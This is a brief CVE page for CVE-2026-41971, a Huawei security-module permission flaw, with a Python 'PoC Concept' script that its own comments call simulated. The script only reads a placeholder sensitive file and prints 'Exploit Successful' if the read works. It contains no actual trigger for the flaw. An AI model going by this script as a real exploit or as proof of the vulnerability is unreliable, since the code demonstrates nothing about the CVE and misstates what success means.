CVE-2026-41971 华为安全控制模块权限控制漏洞

# PoC Concept for CVE-2026-41971 Permission Control Vulnerability # This is a simulated demonstration of the logic flaw. # Actual exploitation requires specific environment context. import os def check_permission_control(): target_resource = "/secure/sensitive_data/config.bin" # Simulate the vulnerability: The control module fails to check # local caller permissions correctly when specific flags are set. try: # In a vulnerable scenario, this read operation would succeed # even though the current user context should not allow it. if os.path.exists(target_resource): with open(target_resource, 'r') as f: data = f.read() print("[+] Exploit Successful: Sensitive data leaked.") print(f"[+] Data Content: {data[:50]}...") return True else: print("[-] Target resource not found.") return False except PermissionError: print("[-] Permission Denied. System is patched or context invalid.") return False if __name__ == "__main__": print("[*] Attempting to exploit CVE-2026-41971...") # Triggering the vulnerability requires local user interaction (UI:R) # e.g., running this script manually. check_permission_control()